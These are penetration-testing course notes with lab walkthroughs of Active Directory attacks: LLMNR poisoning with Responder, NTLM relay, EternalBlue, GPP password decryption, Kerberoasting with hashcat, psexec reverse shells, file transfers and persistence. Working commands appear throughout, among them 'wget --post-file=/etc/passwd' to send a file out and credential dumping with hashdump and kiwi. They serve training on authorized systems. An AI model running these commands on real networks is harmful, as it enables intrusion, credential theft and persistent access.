searchsploit apache 1.3.20 //more specific but would hide 1.3.X vulns
```


# Week 7: Exploitation, Shells, and Some Credential Stuffing

**Gaining a Shell with Metasploit** - This lesson will cover how to use Metasploit to gain shell access to a vulnerable machine. This builds upon the introductory Metasploit from section 8 as we move from the auxiliary/scanning portion of Metasploit to the exploit portion. This lesson is important as Metasploit is a common tool in nearly every penetration testers toolkit, especially at the beginner level.\
**Compiling Exploits** - This lesson will add to exploitation learned in section 9, except that the exploitation is now done manually, without Metasploit. This will teach the reader how to safely download exploits from the web, generate shellcode, compile the exploit if necessary, and execute it against a vulnerable machine.\
**When Nothing Else Works** - The previous two lessons in focus on having an exploit readily available that will provide shell access. As a penetration tester, gaining shell from an exploit does not happen most of the time. Sometimes, we have to get creative. This may include using social engineering and password spraying Outlook/other web applications. The section also focuses on the failing mentality and how it is okay to not break in on every external. Lastly, it will cover some common non-critical findings/things to look for that can be added to a report, such as default web pages, public RDP, public SNMP, etc.

## Notes

| Non-staged Payload                    | Staged Payload                       |
| ------------------------------------- | ------------------------------------ |
| sends exploit shellcode all at once   | sends payload in stages              |
| larger in size and don't always work  | can be less stable                   |
| Ex: windows/meterpreter\_reverse\_tcp | Ex: windows/meterpreter/reverse\_tcp |

![](https://1094113337-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-M3hoduT4ByoNaznkzhG%2F-MFIRaNGBKBYSik7a9sG%2F-MFIRvtjvCXNmA9aoNyO%2Frev.png?alt=media\&token=8489ebad-f8ce-4faa-992e-50adaf366f77)

![](https://1094113337-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-M3hoduT4ByoNaznkzhG%2F-MFIRaNGBKBYSik7a9sG%2F-MFIRyftrihNpZ2FVJ57%2Fbind.png?alt=media\&token=9243a0bf-fd06-4d22-adaa-be43fe8dbb98)


# Week 8: LLMNR/NBT-NS Poisoning

Building an AD Lab, LLMNR Poisoning, and NTLMv2 Cracking with Hashcat

**Hello Enumeration, My Old Friend** - This lesson will cover post-exploitation enumeration. In other words, we’ve gained access to a single machine in a network, now what are we looking for? The chapter will focus heavily on Active Directory enumeration concepts as that is the likely environment a pentester will encounter in the real world. However, lessons will be provided for non-Active Directory environments as well. Important tools that will be discussed are nbtscan, nslookup, nbtstat, net commands, and more.

**Active Directory Exploitation** - This lesson focuses on the recognition of vulnerabilities and exploitation tactics in an internal Active Directory environment. Attacks that will be introduced include: LLMNR poisoning/hash cracking, SMB hash relaying, pass the hash, token impersonation, kerberoasting, GPP/c-password attacks, and PowerShell attacks. More attacks will likely be added as the lesson is written, but the most common have been provided.

* Wordlist Heath uses: `realuniq`

## LLMNR/NBT-NS Poisoning

* LLMNR/NBT-NS used to identify a host when DNS fails.
* Name resolution as a way to connect to a share (e.g. SMB)
* Hashes are typically going out to a known share or device.
  * Sometimes don't know where to go and will send a broadcast message. Man in the Middle can say send me your hash and I can connect you.

![Victim tries to access //hackme share, but instead looks for //hackm](https://1094113337-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-M3hoduT4ByoNaznkzhG%2F-MFIRaNGBKBYSik7a9sG%2F-MFIXFVEo1MEtpt_wvAT%2F2020-08-21%2017_19_01-Window.png?alt=media\&token=7a48a9c1-bf07-4d50-94de-ed5fdbe761e7)

* Crack the hash then navigate around the network and see what sticks.
* Or, relay the hash without ever knowing the password, **NTLM relay**

### Responder

Sitting on the network with no privileges, turn on Responder before running scans. (Internal Technique, not on OSCP)

* * Scans (nmap, nessus, etc) generates traffic. The more traffic on the network, the better it is for an attacker. Maybe something screws up and sends a hash your way.
  * Best time to run Responder is beginning of the day or after lunch. You can leave it on all day.
* Responder.py: `/usr/share/responder` on Kali

```
python Responder.py -I eth0 -rdw
```

![](https://1094113337-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-M3hoduT4ByoNaznkzhG%2F-MFIRaNGBKBYSik7a9sG%2F-MFIc9A8J_G7mLPjVzwk%2F2020-08-21%2017_45_01-Window.png?alt=media\&token=ac101aaf-97f4-4332-b6e5-fe3c91145325)

* if you find Default credentials anywhere with configuration abilities (e.g. a Printer), there can be a test SMB share button. If you send it to yourself, you can get credentials. SMB sometimes doesn't follow least-privileged and you can get an instant win.

### Hashcat

```
# Linux --VMs will take much longer
hashcat -m 5600 hash.txt /root/rockyou.txt #NetNTLMv2

# Windows
..\hashcat-4.2.1>hashcat64.exe -m 5600 hash.txt rockyou.txt
```

## Defenses

![](https://1094113337-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-M3hoduT4ByoNaznkzhG%2F-MFIf5Y5m7l7U37myWyF%2F-MFIffISQewWZeyLOE4e%2F2020-08-21%2018_00_30-Window.png?alt=media\&token=9bff0fc8-b738-4580-88ff-0a32ec7b7a3d)


# Week 9: NTLM

NTLM Relay, Token Impersonation, Pass the Hash, PsExec, and more

**Active Directory Exploitation** - This lesson focuses on the recognition of vulnerabilities and exploitation tactics in an internal Active Directory environment. Attacks that will be introduced include: LLMNR poisoning/hash cracking, SMB hash relaying, pass the hash, token impersonation, kerberoasting, GPP/c-password attacks, and PowerShell attacks. More attacks will likely be added as the lesson is written, but the most common have been provided.

## Important Readings

{% embed url="<https://www.fuzzysecurity.com/tutorials/16.html>" %}

{% embed url="<https://medium.com/@adam.toscher/top-five-ways-i-got-domain-admin-on-your-internal-network-before-lunch-2018-edition-82259ab73aaa>" %}

## Notes

### CrackMapExec and psexec

* install crackmapexec

![crackmapexec smb \<ip range> -u Administrator -p 'P@$$word!' -d MARVEL](https://1094113337-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-M3hoduT4ByoNaznkzhG%2F-MFJ-7pBAvVa6C_ZWUAp%2F-MFJ0An9CtdMNWQejP8_%2F2020-08-21%2019_34_20-Window.png?alt=media\&token=6eac011d-6c36-4fd7-8d65-204e544d624c)

* msf5 > use exploit/windows/smb/psexec

![](https://1094113337-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-M3hoduT4ByoNaznkzhG%2F-MFJ-7pBAvVa6C_ZWUAp%2F-MFJ0j6ZIYA1NgGG5bMA%2F2020-08-21%2019_36_52-Window.png?alt=media\&token=7c30a6d4-7c0b-4e10-97d9-73e1219922b5)

* try all the target options for psexec: `set target 3`
  * Automatic
  * Powershell
  * Native Upload
  * MOF upload
* sysinfo
  * x64 Architecture but 32-bit Meterpreter
  * you can look through payloads and find a better one sometime

```
meterpreter > load incognito
meterpreter > list_tokens -u # users
meterpreter > list_tokens -g # group
meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
meterpreter > impersonate_token MARVEL\\Administrator
[+] Delegation token available
[+] Successfully impersonated user MARVEL\Administrator
meterpreter > getuid
Server username: MARVEL\Administrator
meterpreter > shell
...
C:\Windows\system32>whoami
marvel\administrator
```

In meterpreter shell, type `load` and hit tab twice to see all the different things to load, e.g. kiwi, mimikatz

```
# with a meterpreter session running
msf5 > use post/multi/recon/local_exploit_suggester
msf5 post(post/multi/recon/local_exploit_suggester) > set session 1
msf5 post(post/multi/recon/local_exploit_suggester) > run
...
# enter session
msf5 > sessions 1
# check processes
meterpreter > ps
```

* Process Migration, get a x64 Meterpreter shell

![](https://1094113337-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-M3hoduT4ByoNaznkzhG%2F-MFJ-7pBAvVa6C_ZWUAp%2F-MFJ4GZJP-pLD5Pg2Dto%2F2020-08-21%2019_52_18-Window.png?alt=media\&token=11a2334d-a86a-4cd5-9fba-a42869f0bf50)

* Local Administrator account could be the same across many computers if IT images them from the same base image.
* You can pass the hash with `crackmapexec -H` or with `psexec`&#x20;

### NTLM Relay

If communications are not digitally signed, you can NTLM relay. SMB signing is defaulted OFF.

* Heath demonstrates environment were a user has administrative privileges on multiple machines.
* Edited Responder.conf: Turned off SMB and HTTP server
* Start `Responder.py -I eth0 -rdw`&#x20;
  * Wait

![](https://1094113337-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-M3hoduT4ByoNaznkzhG%2F-MFJ7F8GHKGTmbLFffoY%2F-MFJ8KlfytYa5sQErviV%2F2020-08-21%2020_10_02-Window.png?alt=media\&token=ec87f7e6-79d5-4319-bb20-e95f16a6a68e)

```
locate ntlmrelayx.py # it's in impacket
python ntlmrelayx.py -tf target.txt -smb2support
```

* point a victim machine to yours to in File Explorer e.g. \\\192.168.202.173


# Week 10: MS17-010, GPP/cPasswords, and Kerberoasting

AD Exploitation Part 3

### Blue

If you see SMB on a network, you should immediately check if it's vulnerable to MS17-010. This could take a service down, so you want to ask before running it.

```
nmap -Pn -p445 --script=smb-vuln-ms17-010 <ip>

msf5 exploit(windows/smb/ms17_010_eternalblue) > set payload windows/x64/meterpreter/reverse_tcp
meterpreter > sysinfo
meterpreter > hashdump

meterpreter > shell
c:\Users\Administrator>arp -a
c:\Users\Administrator>route print

#check if machine is dual-homed. if two NICs, can pivot
# e.g. if on 10.10.10.X and 10.10.11.X
c:\Users\Administrator>netstat -ano
^C terminate channel -> back to meterpreter

meterpreter > load incognito
meterpreter > list_tokens -u

meterpreter > load kiwi # this is x64
meterpreter > creds_all
meterpreter > wifi_list
```

Mimikatz is for 32 bit architecture and kiwi is for 64 bit architecture.

### Active

A 'realistic' box. Likely a domain controller since it's running DNS, Kerberos, LDAP for Active Directory). Domain: active.htb. When there's SMB, check for anonymous login. See [Group Policy Pwnage](https://blog.rapid7.com/2016/07/27/pentesting-in-the-real-world-group-policy-pwnage/).

#### Enumeration

Likely a Domain Controller since it's running DNS, Kerberos, LDAP. Domain: active.htb. Common to domain controllers message signing is enabled and required for smb. Most of SMB and NTLM relay is done on machines other than Domain Controller since the functionality is usually turned off.

We could maybe dump ldap information, but we typically won't have access to that without credentials. 445 and 139 are very interesting because SMB is behind a lot of exploits.

Let's try to list out the contents of the smb directory.

```
root@kali:~/Security/HackTheBox/active# smbclient -L \\\\10.10.10.100\\
Enter WORKGROUP\root's password: # just pressed enter
Anonymous login successful

    Sharename       Type      Comment
    ---------       ----      -------
    ADMIN$          Disk      Remote Admin
    C$              Disk      Default share
    IPC$            IPC       Remote IPC
    NETLOGON        Disk      Logon server share 
    Replication     Disk      
    SYSVOL          Disk      Logon server share 
    Users           Disk      
SMB1 disabled -- no workgroup available
```

Anonymous login is a finding. Absolutely list shares on a report. Let's see what we can connect to; the juiciest folders are C$ and ADMIN$.

```
root@kali:~/Security/HackTheBox/active# smbclient \\\\10.10.10.100\\ADMIN$
Enter WORKGROUP\root's password: 
Anonymous login successful
tree connect failed: NT_STATUS_ACCESS_DENIED
root@kali:~/Security/HackTheBox/active# smbclient \\\\10.10.10.100\\C$
Enter WORKGROUP\root's password: 
Anonymous login successful
tree connect failed: NT_STATUS_ACCESS_DENIED
root@kali:~/Security/HackTheBox/active# smbclient \\\\10.10.10.100\\IPC$
Enter WORKGROUP\root's password: 
Anonymous login successful
Try "help" to get a list of possible commands.
smb: \> ^C
root@kali:~/Security/HackTheBox/active# smbclient \\\\10.10.10.100\\NETLOGON
Enter WORKGROUP\root's password: 
Anonymous login successful
tree connect failed: NT_STATUS_ACCESS_DENIED
root@kali:~/Security/HackTheBox/active# smbclient \\\\10.10.10.100\\Replication
Enter WORKGROUP\root's password: 
Anonymous login successful
Try "help" to get a list of possible commands.
smb: \> ^C
root@kali:~/Security/HackTheBox/active# smbclient \\\\10.10.10.100\\SYSVOL
Enter WORKGROUP\root's password: 
Anonymous login successful
tree connect failed: NT_STATUS_ACCESS_DENIED
root@kali:~/Security/HackTheBox/active# smbclient \\\\10.10.10.100\\Users
Enter WORKGROUP\root's password: 
Anonymous login successful
tree connect failed: NT_STATUS_ACCESS_DENIED
```

We can connect to Replication and IPC$. Replication might be a backup of something. Let's `mget` everything in Replication.

```
root@kali:~/Security/HackTheBox/active# smbclient \\\\10.10.10.100\\Replication
Enter WORKGROUP\root's password: 
Anonymous login successful
Try "help" to get a list of possible commands.
smb: \> RECURSE ON
smb: \> PROMPT OFF
smb: \> mget *
getting file \active.htb\Policies\{31B2F340-016D-11D2-945F-00C04FB984F9}\GPT.INI of size 23 as GPT.INI (0.1 KiloBytes/sec) (average 0.1 KiloBytes/sec)
getting file \active.htb\Policies\{31B2F340-016D-11D2-945F-00C04FB984F9}\Group Policy\GPE.INI of size 119 as GPE.INI (0.4 KiloBytes/sec) (average 0.2 KiloBytes/sec)
getting file \active.htb\Policies\{31B2F340-016D-11D2-945F-00C04FB984F9}\MACHINE\Microsoft\Windows NT\SecEdit\GptTmpl.inf of size 1098 as GptTmpl.inf (3.1 KiloBytes/sec) (average 1.3 KiloBytes/sec)
getting file \active.htb\Policies\{31B2F340-016D-11D2-945F-00C04FB984F9}\MACHINE\Preferences\Groups\Groups.xml of size 533 as Groups.xml (1.5 KiloBytes/sec) (average 1.3 KiloBytes/sec)
getting file \active.htb\Policies\{31B2F340-016D-11D2-945F-00C04FB984F9}\MACHINE\Registry.pol of size 2788 as Registry.pol (9.4 KiloBytes/sec) (average 2.8 KiloBytes/sec)
getting file \active.htb\Policies\{6AC1786C-016F-11D2-945F-00C04fB984F9}\GPT.INI of size 22 as GPT.INI (0.1 KiloBytes/sec) (average 2.4 KiloBytes/sec)
getting file \active.htb\Policies\{6AC1786C-016F-11D2-945F-00C04fB984F9}\MACHINE\Microsoft\Windows NT\SecEdit\GptTmpl.inf of size 3722 as GptTmpl.inf (12.5 KiloBytes/sec) (average 3.8 KiloBytes/sec)
```

Groups.xml is promising. Let's `cat active.htb/Policies/{31B2F340-016D-11D2-945F-00C04FB984F9}/MACHINE/Preferences/Groups/Groups.xml`.

```markup
<?xml version="1.0" encoding="utf-8"?>
<Groups clsid="{3125E937-EB16-4b4c-9934-544FC6D24D26}"><User clsid="{DF5F1855-51E5-4d24-8B1A-D9BDE98BA1D1}" name="active.htb\SVC_TGS" image="2" changed="2018-07-18 20:46:06" uid="{EF57DA28-5F69-4530-A59E-AAB58578219D}"><Properties action="U" newName="" fullName="" description="" cpassword="edBSHOwhZLTjt/QS9FeIcJ83mjWA98gw9guKOhJOdcqh+ZGMeXOsQbCpZ3xUjTLfCuNH8pG5aSVYdYw/NglVmQ" changeLogon="0" noChange="1" neverExpires="1" acctDisabled="0" userName="active.htb\SVC_TGS"/></User>
</Groups>
```

Groups.xml is related to GPP (Group Policy Preferences). It allows Domain Admins to create Domain Policies using embedded credentials. We find: `userName="active.htb\SVC_TGS"` and `cpassword="edBSHOwhZLTjt/QS9FeIcJ83mjWA98gw9guKOhJOdcqh+ZGMeXOsQbCpZ3xUjTLfCuNH8pG5aSVYdYw/NglVmQ"`. `SVC_TGS` is the Ticket Granting Service. Groups.xml exists on some active domains, usually older ones. But, migrated ones may still have it. You can set one up as a honeypot though--a GPP that has never been used. As soon as credentials as used, you know there's a hacker on the network.

```
root@kali:~/Security/HackTheBox/active# gpp-decrypt edBSHOwhZLTjt/QS9FeIcJ83mjWA98gw9guKOhJOdcqh+ZGMeXOsQbCpZ3xUjTLfCuNH8pG5aSVYdYw/NglVmQ
/usr/bin/gpp-decrypt:21: warning: constant OpenSSL::Cipher::Cipher is deprecated
GPPstillStandingStrong2k18
```

New creds - `active.htb:GPPstillStandingStrong2k18`. We could try to push the creds around with `crackmapexec`. We could try to login to SMB with this account. We could use `psexec` on this machine. Another tactic is Kerberoasting.

#### Kerberoasting

Kerberos: an authentication protocol using tickets to communicate and authenticate.

We have a server that is considered a KDC (Key Distribution Center). We also have another computer, the client. The client wants to authenticate, so it sends credentials and asks the server for a TGT (a ticket-granting ticket). KDC checks the creds and if they are good, sends back a secret key (encrypted by TGS) that's stored on the client until the ticket expires. There are also services (SQL, AntiVirus, etc) that the client might want to connect to. A service has a Service Principal Name (SPN). To connect as a client, we need to ask the KDC for permission. Client takes the ticket to KDC and asks to please connect to the service. With any valid ticket or TGT, we can request a TGS ticket for an SPN.

Impacket allows us to do this. Mine is located: /opt/impacket/examples/GetUserSPNs.py.

```
root@kali:~/Security/HackTheBox/active# cd /opt/impacket/examples/
root@kali:/opt/impacket/examples# python GetUserSPNs.py active.htb/SVC_TGS -dc-ip 10.10.10.100 -request
Impacket v0.9.21-dev - Copyright 2019 SecureAuth Corporation

Password: # entered GPPstillStandingStrong2k18
ServicePrincipalName  Name           MemberOf                                                  PasswordLastSet             LastLogon                  
--------------------  -------------  --------------------------------------------------------  --------------------------  --------------------------
active/CIFS:445       Administrator  CN=Group Policy Creator Owners,CN=Users,DC=active,DC=htb  2018-07-18 15:06:40.351723  2018-07-30 13:17:40.656520 



$krb5tgs$23$*Administrator$ACTIVE.HTB$active/CIFS~445*$cfe6baaf6d9538cee9ab43897032e0fa$09198fe8a7f83682b4388efdc589cb1cda10227e9a60c7c35ea7d22c06d5a4bcda24ccaed5f93340a637fd28d7ccb66a72f389f5804de980f1994a7ff824ef17af26dd8c5c8a1c6d3455d0c7382b67d974316f7bf4b92f34a29f58a72b4379030b252d32db97ab5b11856163f11467818748522e3675dd450ba3aabbf50e48e1c4e30cbba5dc084f3d2c42046ce1a3479ec357f32dec622e2d53b0886dc80d9859cb884f5bde9ad9e04de3a5ea3fdf8ccbe85700be9d1482e6e8464432c72c3937d73a1d1a995e50551d7262f37449c04c646ebf4858ab7c9a2dc52cdcfad11dde4d1619edebee18b0720cd4d31a89183eee9ac7a271220ee5426150df7a13707dc6a87c8c9b5eb724b2c82d88b6bd291d32f2810f4739e2d2c85c5110438ccd638af22cf31cc3573f75c76bc3509e1ef8673850f1f6e5705d3eb562fce69bb0c14164ebada481efa673a48d03982b3e00aaec576abc5bbeb9f62aa10dbbe8db0457ad10a8dcd044ee16fe52f2982dc6b5209a6e21731183854f8f154202093a358c81aa374926a9bc4586511d2eb0cbb5e97a8128246b8c0fc25e10bb223caf955ef2d698c8b1b417e4586b5e023a223f977ec939a43e99506f582acca6310d465ec02562f76795bb9283e56cb3afc2eb6e6d035fedff593c385f0f55514499777141a01008b71b544bb94ea7bcbabb0576b4b668fd32ff7e83544d2ea00d9742ff25810d3b419afa77d132f4cc45cffe4c6ae87f0b39b0d8f4b9865745d731a70b1eeaf3dd5bae0003660e5eea6d9a905805080dd4918580a37245a50b8a5c2019c0134c727de350bcf4035efd6213e7ab3305023c725c4ec29299a04ef952564b2d380afb35a1f7f383fbe861068cfd5d45ce504991cb0084797505b5cd7ceb60f9901156964bea2c907c541d26dd379acec3ee27aa67d89dfdfa98c8833ccac102788ddbf9f01f29874b05f741f8a87ea5b7fd440da54e7c8f2938cb837ed800a917cff2ca69472a15227bf32e4ef0d95d20583d4bbf2f8650ade6ff94ba654a1e04c2ecfbd65e57e75e1f202b114effdad8d2c57cd30d5bc036749bcc55400cb4b18ccbd2529dd1c753f9da30cab6a87244d7b3217bad670e0417b4ad1c0eb1ca576ba963fdcb67adebe90df3697874ae19a990ce4b9a3e9ec0556cb74e0a4df654a583ea185c0dd1b41f175715a2f5b1ad2b60361885498f6645ba3f8a6309bf0085245092ef4edaa5fb6d67e6981045c657a0ce0f6104
```

We can try to crack this offline with `hashcat`. Save the hash into a file.

```
root@kali:~/Security/HackTheBox/active# cat hash
$krb5tgs$23$*Administrator$ACTIVE.HTB$active/CIFS~445*$cfe6baaf6d9538cee9ab43897032e0fa$09198fe8a7f83682b4388efdc589cb1cda10227e9a60c7c35ea7d22c06d5a4bcda24ccaed5f93340a637fd28d7ccb66a72f389f5804de980f1994a7ff824ef17af26dd8c5c8a1c6d3455d0c7382b67d974316f7bf4b92f34a29f58a72b4379030b252d32db97ab5b11856163f11467818748522e3675dd450ba3aabbf50e48e1c4e30cbba5dc084f3d2c42046ce1a3479ec357f32dec622e2d53b0886dc80d9859cb884f5bde9ad9e04de3a5ea3fdf8ccbe85700be9d1482e6e8464432c72c3937d73a1d1a995e50551d7262f37449c04c646ebf4858ab7c9a2dc52cdcfad11dde4d1619edebee18b0720cd4d31a89183eee9ac7a271220ee5426150df7a13707dc6a87c8c9b5eb724b2c82d88b6bd291d32f2810f4739e2d2c85c5110438ccd638af22cf31cc3573f75c76bc3509e1ef8673850f1f6e5705d3eb562fce69bb0c14164ebada481efa673a48d03982b3e00aaec576abc5bbeb9f62aa10dbbe8db0457ad10a8dcd044ee16fe52f2982dc6b5209a6e21731183854f8f154202093a358c81aa374926a9bc4586511d2eb0cbb5e97a8128246b8c0fc25e10bb223caf955ef2d698c8b1b417e4586b5e023a223f977ec939a43e99506f582acca6310d465ec02562f76795bb9283e56cb3afc2eb6e6d035fedff593c385f0f55514499777141a01008b71b544bb94ea7bcbabb0576b4b668fd32ff7e83544d2ea00d9742ff25810d3b419afa77d132f4cc45cffe4c6ae87f0b39b0d8f4b9865745d731a70b1eeaf3dd5bae0003660e5eea6d9a905805080dd4918580a37245a50b8a5c2019c0134c727de350bcf4035efd6213e7ab3305023c725c4ec29299a04ef952564b2d380afb35a1f7f383fbe861068cfd5d45ce504991cb0084797505b5cd7ceb60f9901156964bea2c907c541d26dd379acec3ee27aa67d89dfdfa98c8833ccac102788ddbf9f01f29874b05f741f8a87ea5b7fd440da54e7c8f2938cb837ed800a917cff2ca69472a15227bf32e4ef0d95d20583d4bbf2f8650ade6ff94ba654a1e04c2ecfbd65e57e75e1f202b114effdad8d2c57cd30d5bc036749bcc55400cb4b18ccbd2529dd1c753f9da30cab6a87244d7b3217bad670e0417b4ad1c0eb1ca576ba963fdcb67adebe90df3697874ae19a990ce4b9a3e9ec0556cb74e0a4df654a583ea185c0dd1b41f175715a2f5b1ad2b60361885498f6645ba3f8a6309bf0085245092ef4edaa5fb6d67e6981045c657a0ce0f6104

root@kali:~/Security/HackTheBox/active# hashcat --help | grep Kerberos
   7500 | Kerberos 5 AS-REQ Pre-Auth etype 23              | Network Protocols
  13100 | Kerberos 5 TGS-REP etype 23                      | Network Protocols
  18200 | Kerberos 5 AS-REP etype 23                       | Network Protocols

root@kali:~/Security/HackTheBox/active# hashcat -m 13100 hash /usr/share/wordlists/rockyou.txt
...
Ticketmaster1968
```

#### Gaining Access

Now onto `psexec`.

```
msf5 > use exploit/windows/smb/psexec
msf5 exploit(windows/smb/psexec) > set RHOSTS 10.10.10.100
RHOSTS => 10.10.10.100
msf5 exploit(windows/smb/psexec) > set SMBDomain active.htb
SMBDomain => active.htb
msf5 exploit(windows/smb/psexec) > set SMBUser administrator
SMBUser => administrator
msf5 exploit(windows/smb/psexec) > set SMBPass Ticketmaster1968
SMBPass => Ticketmaster1968
msf5 exploit(windows/smb/psexec) > run
...
[*] 10.10.10.100:445 - Selecting PowerShell target
...
[*] Exploit completed, but no session was created.
```

Let's try exploit targets other than automatic.

```
msf5 exploit(windows/smb/psexec) > show targets

Exploit targets:

   Id  Name
   --  ----
   0   Automatic
   1   PowerShell
   2   Native upload
   3   MOF upload


msf5 exploit(windows/smb/psexec) > set target 2
target => 2
msf5 exploit(windows/smb/psexec) > show options

Module options (exploit/windows/smb/psexec):

   Name                  Current Setting   Required  Description
   ----                  ---------------   --------  -----------
   RHOSTS                10.10.10.100      yes       The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
   RPORT                 445               yes       The SMB service port (TCP)
   SERVICE_DESCRIPTION                     no        Service description to to be used on target for pretty listing
   SERVICE_DISPLAY_NAME                    no        The service display name
   SERVICE_NAME                            no        The service name
   SHARE                 ADMIN$            yes       The share to connect to, can be an admin share (ADMIN$,C$,...) or a normal read/write folder share
   SMBDomain             active.htb        no        The Windows domain to use for authentication
   SMBPass               Ticketmaster1968  no        The password for the specified username
   SMBUser               administrator     no        The username to authenticate as


Payload options (windows/meterpreter/reverse_tcp):

   Name      Current Setting  Required  Description
   ----      ---------------  --------  -----------
   EXITFUNC  thread           yes       Exit technique (Accepted: '', seh, thread, process, none)
   LHOST     10.0.2.15        yes       The listen address (an interface may be specified)
   LPORT     4444             yes       The listen port


Exploit target:

   Id  Name
   --  ----
   0   Automatic


msf5 exploit(windows/smb/psexec) > set LHOST 10.10.14.66
LHOST => 10.10.14.66
msf5 exploit(windows/smb/psexec) > run

[*] Started reverse TCP handler on 10.10.14.66:4444 
[*] 10.10.10.100:445 - Connecting to the server...
[*] 10.10.10.100:445 - Authenticating to 10.10.10.100:445|active.htb as user 'administrator'...
[*] 10.10.10.100:445 - Selecting PowerShell target
[*] 10.10.10.100:445 - Executing the payload...
[+] 10.10.10.100:445 - Service start timed out, OK if running a command or non-service executable...
[*] Sending stage (180291 bytes) to 10.10.10.100
[*] Meterpreter session 1 opened (10.10.14.66:4444 -> 10.10.10.100:57946) at 2020-09-01 22:33:05 -0400

meterpreter > sysinfo
Computer        : DC
OS              : Windows 2008 R2 (6.1 Build 7601, Service Pack 1).
Architecture    : x64
System Language : el_GR
Domain          : ACTIVE
Logged On Users : 1
Meterpreter     : x86/windows
```

Okay, got the meterpreter session open but meterpreter is x86 and the machine is x64. Let's try this again with a different payload.

```
msf5 exploit(windows/smb/psexec) > set payload windows/x64/meterpreter/reverse_tcp
payload => windows/x64/meterpreter/reverse_tcp
msf5 exploit(windows/smb/psexec) > run

[*] Started reverse TCP handler on 10.10.14.66:4444 
[*] 10.10.10.100:445 - Connecting to the server...
[*] 10.10.10.100:445 - Authenticating to 10.10.10.100:445|active.htb as user 'administrator'...
[*] 10.10.10.100:445 - Uploading payload... NKFqsUot.exe
[*] 10.10.10.100:445 - Created \NKFqsUot.exe...
[+] 10.10.10.100:445 - Service started successfully...
[*] Sending stage (206403 bytes) to 10.10.10.100
[*] 10.10.10.100:445 - Deleting \NKFqsUot.exe...
[*] Meterpreter session 4 opened (10.10.14.66:4444 -> 10.10.10.100:57982) at 2020-09-01 22:40:44 -0400

meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
meterpreter > load incognito
Loading extension incognito...Success.
meterpreter > list_tokens -u

Delegation Tokens Available
========================================
NT AUTHORITY\LOCAL SERVICE
NT AUTHORITY\NETWORK SERVICE
NT AUTHORITY\SYSTEM

Impersonation Tokens Available
========================================
NT AUTHORITY\ANONYMOUS LOGON

meterpreter > shell
Process 1820 created.
Channel 2 created.
Microsoft Windows [Version 6.1.7601]
Copyright (c) 2009 Microsoft Corporation.  All rights reserved.

C:\Windows\system32>type C:\Users\SVC_TGS\Desktop\user.txt
type C:\Users\SVC_TGS\Desktop\user.txt
{censored}
C:\Windows\system32>type C:\Users\Administrator\Desktop\root.txt
type C:\Users\Administrator\Desktop\root.txt
{censored}
```


# Week 11: File Transfers, Pivoting, Reporting

File Transfers, Pivoting, Report Writing, and Career Advice

**Maintaining Access / Pivoting / Cleanup** - This lesson will discuss methods of maintaining access on a network, pivoting into other networks, and how to properly clean up as you exit a network.\
**The Legal Side of the House** - This lesson will cover the important legal aspects that a pentester must know prior to conducting a penetration test. For example, having a rules of engagement document that specifies which networks can be attacked and what attack methods can be used. Knowing the common legal documents that a junior pentester may encounter will give him or her an advantage in their early careers.\
**Report Writing** - This lesson will cover the importance of report writing in penetration testing and walk through what should be included in a penetration test report. A demo penetration test report will be provided that will cover many of the findings that we have discussed in prior chapters. This will provide students with a clear understanding of what is expected on a penetration test report and how to write on effectively.

## File Transfers

### Linux

```
# HOST FILES
python -m SimpleHTTPServer 80
# OR
python3 -m http.server 80
python -m pyftpdlib -p 21 # FTP

# GRAB FILES
wget http://<ip>:80/secrets.txt
# RECEIVE FILES
nc -nvlp <port> file # redirect into new file
# SEND FILES
## nc
nc <ip> <port> < file
## wget, receiver has to clean the file
wget --post-file=/etc/passwd 192.168.202.128:8081
tail -n +10 file > clean_file # delete transfer data

```

### Windows

```
# Windows Defender can block this, though there are ways to split files to bypass
# GRAB FILES - HTTP
C:\Users\fcastle>certutil -rulcache -f http://<ip>/secrets.txt secrets.txt

# GRAB FILES - FTP
C:\Users\fcastle>ftp <ip>
ftp> get <file>
```

#### **Meterpreter**

```
msf5 > use windows/smb/psexec
msf5 exploit(windows/smb/psexec) > set rhosts 192.168.202.134
msf5 exploit(windows/smb/psexec) > set smbdomain marvel
msf5 exploit(windows/smb/psexec) > set smbpass Password1
msf5 exploit(windows/smb/psexec) > set smbuser fcastle
msf5 exploit(windows/smb/psexec) > set target 2
msf5 exploit(windows/smb/psexec) > run
...
meterpreter > cd c:\\users
meterpreter > upload /root/files/secrets.txt c:\\secrets.txt
meterpreter > download c:\\secrets.txt secrets.txt
```

## Maintaining Access

Persistence is dangerous and usually unnecessary for junior-mid level  pentesting (time limited engagements, not red teaming). It opens a port on a machine with no credentials--leaves it wide open for a future attack. You'll have to go back in and delete the service and remove it from the registry. It'll give you an RC file to go in and delete the files for you, but it's generally dangerous and unnecessary.

**Persistence Scripts**

```
meterpreter > run persistence -h
exploit/windows/local/persistence
exploit/windows/local/registry_persistence
```

If you want to get a meterpreter shell back:

```
msf5 exploit(multi/handler) > set payload windows/meterpreter/reverse_tcp
# might set lport to be a known port to be sneaky
msf5 exploit(multi/handler) > set lport 443
msf5 exploit(multi/handler) > set lhost 192.168.202.128

```

#### Scheduled Tasks

```
run scheduleme
run schtaskabuse
```

#### Metsvc

```
run metsvc -A
```

## Pivoting

![](https://1094113337-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-M3hoduT4ByoNaznkzhG%2F-MGEzhrzN7bPwYjUAnGp%2F-MGF21UWqbNkdsp1jux5%2Fimage.png?alt=media\&token=2f19bff9-af7d-4530-b5dc-02ae84d3a9e9)

Gained access to a machine on the 192 network that is dualhomed with the 10 network (just need two NICs, or network adapters in VBox).

```
# Check for other networks, besides ipconfig
route print
arp -a
netstat
```

Scanning on a pivot is incredibly slow, but:

```
use auxiliary/scanner/portscan/tcp
```

## Cleanup

The cleanup process covers the requirements for cleaning up systems once the penetration test has been completed, not removing logs, etc. This will include all user accounts and binaries used during the test.

